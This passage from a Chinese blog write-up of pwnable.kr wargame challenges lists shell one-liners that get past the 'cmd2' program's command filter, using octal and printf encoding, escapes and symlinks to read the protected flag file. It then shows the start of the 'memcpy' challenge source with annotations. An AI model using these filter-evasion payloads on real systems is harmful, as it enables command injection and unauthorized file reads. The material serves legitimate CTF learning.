  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>先read等待我的输入，然后<code>$</code>执行我输入的内容。最后echo打印。</p>
<p>从<a
  href="https://www.aloxaf.com/2018/05/pwnablekr_toddlers_bottle/#%E5%A4%A7%E4%BD%AC%E4%BB%AC%E7%9A%84%E8%A7%A3%E6%B3%95" rel="nofollow noopener noreferrer" target="_blank"
  >Aloxaf<span style="user-select:none"> ↗</span></a
>
抄了一段：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">./cmd2 <span class="s2">&#34;read b &lt; fl\ag; echo \$b&#34;</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1"># 妙啊, 利用转义符巧妙地避开了过滤</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nb">cd</span> / <span class="o">&amp;&amp;</span> /home/cmd2/cmd2 <span class="s1">&#39;$(pwd)&#34;bin&#34;$(pwd)cat $(pwd)&#34;home&#34;$(pwd)&#34;cmd2&#34;$(pwd)&#34;fl&#34;&#34;ag&#34;&#39;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1"># woc, NBNB. 没有反斜杠, 我们就创造反斜杠...</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">./cmd2 <span class="s2">&#34;command -p cat fla*&#34;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="c1"># 涨知识了, 膜</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl">./cmd2 <span class="s1">&#39;$(echo &#34;\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147&#34;)&#39;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1"># 社会社会</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">mkdir /tmp/ca
</span></span><span class="line"><span class="ln">14</span><span class="cl">ln -s /bin/cat /tmp/cat
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="nb">cd</span> /tmp/ca
</span></span><span class="line"><span class="ln">16</span><span class="cl">ln -s /home/cmd2/flag f
</span></span><span class="line"><span class="ln">17</span><span class="cl">/home/cmd2/cmd2 <span class="s2">&#34;\${PWD}t f&#34;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="c1"># 全部建symbolic link</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">/home/cmd2/cmd2 <span class="s1">&#39;set -s&#39;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">/bin/cat /home/cmd2/flag
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="c1"># 愣是没看懂</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">
</span></span><span class="line"><span class="ln">24</span><span class="cl">./cmd2 <span class="s1">&#39;$(printf \\057bin\\057cat) fl&#34;&#34;ag&#39;</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl">./cmd2 <span class="s1">&#39;$(printf &#34;%b%c%c%c%b%c%c%c%b%b%b%c%c%c%c&#34; &#34;\57&#34; &#34;b&#34; &#34;i&#34; &#34;n&#34; &#34;\57&#34; &#34;c&#34; &#34;a&#34; &#34;t&#34; &#34;\40&#34; &#34;\56&#34; &#34;\57&#34; &#34;f&#34; &#34;l&#34; &#34;a&#34; &#34;g&#34;)&#39;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;/bin/cat flag&#34;</span> <span class="p">|</span> ./cmd2 <span class="s2">&#34;read myvar; command \$myvar&#34;</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl">./cmd2 <span class="s1">&#39;echo $($(cd .. &amp;&amp; cd .. &amp;&amp; pwd)bin$(cd .. &amp;&amp; cd .. &amp;&amp; pwd)cat fla*)&#39;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h3 id="memcpy">memcpy<a class="anchor" href="#memcpy">#</a></h3>
<blockquote>
<p>Are you tired of hacking?, take some rest here.
Just help me out with my small experiment regarding memcpy performance.
after that, flag is yours.</p>
<p>ssh <a
  href="mailto:memcpy@pwnable.kr"
  >memcpy@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">  1</span><span class="cl"><span class="c1">// gcc -o memcpy memcpy.c -m32 -lm
</span></span></span><span class="line"><span class="ln">  2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">  5</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">  6</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">  8</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;math.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">  9</span><span class="cl">
</span></span><span class="line"><span class="ln"> 10</span><span class="cl"><span class="c1">// 读取时间戳计数器，但实现错误，无法正常工作
</span></span></span><span class="line"><span class="ln"> 11</span><span class="cl"><span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span> <span class="nf">rdtsc</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 12</span><span class="cl">        <span class="k">asm</span><span class="p">(</span><span class="s">&#34;rdtsc&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl">
</span></span><span class="line"><span class="ln"> 15</span><span class="cl"><span class="c1">// 慢复制，逐位赋值
</span></span></span><span class="line"><span class="ln"> 16</span><span class="cl"><span class="kt">char</span><span class="o">*</span> <span class="nf">slow_memcpy</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">dest</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">src</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 17</span><span class="cl">        <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">                <span class="n">dest</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">src</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">        <span class="k">return</span> <span class="n">dest</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 22</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">
</span></span><span class="line"><span class="ln"> 24</span><span class="cl"><span class="c1">// 快复制
</span></span></span><span class="line"><span class="ln"> 25</span><span class="cl"><span class="kt">char</span><span class="o">*</span> <span class="nf">fast_memcpy</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">dest</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">src</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">        <span class="kt">size_t</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">        <span class="c1">// 64-byte block fast copy
</span></span></span><span class="line"><span class="ln"> 28</span><span class="cl">        <span class="c1">// 大块的
</span></span></span><span class="line"><span class="ln"> 29</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">len</span> <span class="o">&gt;=</span> <span class="mi">64</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 30</span><span class="cl">		        <span class="c1">// 计算多少个大块
</span></span></span><span class="line"><span class="ln"> 31</span><span class="cl">                <span class="n">i</span> <span class="o">=</span> <span class="n">len</span> <span class="o">/</span> <span class="mi">64</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">                <span class="c1">// 剩余不足64字节的长度（等价 len % 64）
</span></span></span><span class="line"><span class="ln"> 33</span><span class="cl">                <span class="n">len</span> <span class="o">&amp;=</span> <span class="p">(</span><span class="mi">64</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">                <span class="c1">// 循环拷贝所有64字节块
</span></span></span><span class="line"><span class="ln"> 35</span><span class="cl">                <span class="k">while</span><span class="p">(</span><span class="n">i</span><span class="o">--</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">		                <span class="c1">// SSE 指令集，__volatile__是关闭编译器优化
</span></span></span><span class="line"><span class="ln"> 37</span><span class="cl">                        <span class="n">__asm__</span> <span class="nf">__volatile__</span> <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">                        <span class="s">&#34;movdqa (%0), %%xmm0</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">                        <span class="s">&#34;movdqa 16(%0), %%xmm1</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">                        <span class="s">&#34;movdqa 32(%0), %%xmm2</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">                        <span class="s">&#34;movdqa 48(%0), %%xmm3</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">                        <span class="s">&#34;movntps %%xmm0, (%1)</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">                        <span class="s">&#34;movntps %%xmm1, 16(%1)</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">                        <span class="s">&#34;movntps %%xmm2, 32(%1)</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln"> 45</span><span class="cl">                        <span class="s">&#34;movntps %%xmm3, 48(%1)</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">                        <span class="o">::</span><span class="s">&#34;r&#34;</span><span class="p">(</span><span class="n">src</span><span class="p">),</span><span class="s">&#34;r&#34;</span><span class="p">(</span><span class="n">dest</span><span class="p">)</span><span class="o">:</span><span class="s">&#34;memory&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">                        <span class="n">dest</span> <span class="o">+=</span> <span class="mi">64</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">                        <span class="n">src</span> <span class="o">+=</span> <span class="mi">64</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 49</span><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">        <span class="c1">// byte-to-byte slow copy
</span></span></span><span class="line"><span class="ln"> 53</span><span class="cl">        <span class="c1">// 小块数据：逐字节慢速拷贝
</span></span></span><span class="line"><span class="ln"> 54</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">len</span><span class="p">)</span> <span class="nf">slow_memcpy</span><span class="p">(</span><span class="n">dest</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">        <span class="k">return</span> <span class="n">dest</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">
</span></span><span class="line"><span class="ln"> 58</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">        <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">        <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">_IOLBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Hey, I have a boring assignment for CS class.. :(</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;The assignment is simple.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-----------------------------------------------------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;- What is the best implementation of memcpy?        -</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;- 1. implement your own slow/fast version of memcpy -</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;- 2. compare them with various size of data         -</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;- 3. conclude your experiment and submit report     -</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-----------------------------------------------------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">
</span></span><span class="line"><span class="ln"> 73</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;This time, just help me out with my experiment and get flag</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;No fancy hacking, I promise :D</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">        <span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span> <span class="n">t1</span><span class="p">,</span> <span class="n">t2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">        <span class="kt">int</span> <span class="n">e</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">        <span class="kt">char</span><span class="o">*</span> <span class="n">src</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">        <span class="kt">char</span><span class="o">*</span> <span class="n">dest</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">        <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">low</span><span class="p">,</span> <span class="n">high</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">        <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">        <span class="c1">// allocate memory
</span></span></span><span class="line"><span class="ln"> 83</span><span class="cl">        <span class="c1">// 分配内存：用 mmap 申请匿名内存（操作系统级分配，不使用用户态堆）
</span></span></span><span class="line"><span class="ln"> 84</span><span class="cl">        <span class="c1">// mmap不是普通 malloc。大小：0x4000 = 16KB，0x2000 = 8KB
</span></span></span><span class="line"><span class="ln"> 85</span><span class="cl">        <span class="c1">// 权限 7 = 可读 + 可写 + 可执行（实验用，不安全）
</span></span></span><span class="line"><span class="ln"> 86</span><span class="cl">        <span class="c1">// MAP_ANONYMOUS：不关联文件，纯粹申请内存
</span></span></span><span class="line"><span class="ln"> 87</span><span class="cl">        <span class="kt">char</span><span class="o">*</span> <span class="n">cache1</span> <span class="o">=</span> <span class="nf">mmap</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x4000</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="n">MAP_PRIVATE</span><span class="o">|</span><span class="n">MAP_ANONYMOUS</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">        <span class="kt">char</span><span class="o">*</span> <span class="n">cache2</span> <span class="o">=</span> <span class="nf">mmap</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x4000</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="n">MAP_PRIVATE</span><span class="o">|</span><span class="n">MAP_ANONYMOUS</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">        <span class="n">src</span> <span class="o">=</span> <span class="nf">mmap</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x2000</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="n">MAP_PRIVATE</span><span class="o">|</span><span class="n">MAP_ANONYMOUS</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">        <span class="kt">size_t</span> <span class="n">sizes</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">        <span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">        <span class="c1">// setup experiment parameters
</span></span></span><span class="line"><span class="ln"> 95</span><span class="cl">        <span class="c1">// 设置实验参数：让用户输入 10 组不同大小的拷贝长度
</span></span></span><span class="line"><span class="ln"> 96</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="n">e</span><span class="o">=</span><span class="mi">4</span><span class="p">;</span> <span class="n">e</span><span class="o">&lt;</span><span class="mi">14</span><span class="p">;</span> <span class="n">e</span><span class="o">++</span><span class="p">){</span>    <span class="c1">// 2^13 = 8K
</span></span></span><span class="line"><span class="ln"> 97</span><span class="cl">                <span class="n">low</span> <span class="o">=</span> <span class="nf">pow</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="n">e</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">                <span class="n">high</span> <span class="o">=</span> <span class="nf">pow</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="n">e</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;specify the memcpy amount between %d ~ %d : &#34;</span><span class="p">,</span> <span class="n">low</span><span class="p">,</span> <span class="n">high</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">                <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">                <span class="k">if</span><span class="p">(</span> <span class="n">size</span> <span class="o">&lt;</span> <span class="n">low</span> <span class="o">||</span> <span class="n">size</span> <span class="o">&gt;</span> <span class="n">high</span> <span class="p">){</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">                        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;don&#39;t mess with the experiment.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">                        <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">                <span class="c1">// 把每次输入的大小放进sizes数组
</span></span></span><span class="line"><span class="ln">106</span><span class="cl">                <span class="n">sizes</span><span class="p">[</span><span class="n">i</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">108</span><span class="cl">
</span></span><span class="line"><span class="ln">109</span><span class="cl">        <span class="nf">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;ok, lets run the experiment with your configuration</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">        <span class="nf">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl">
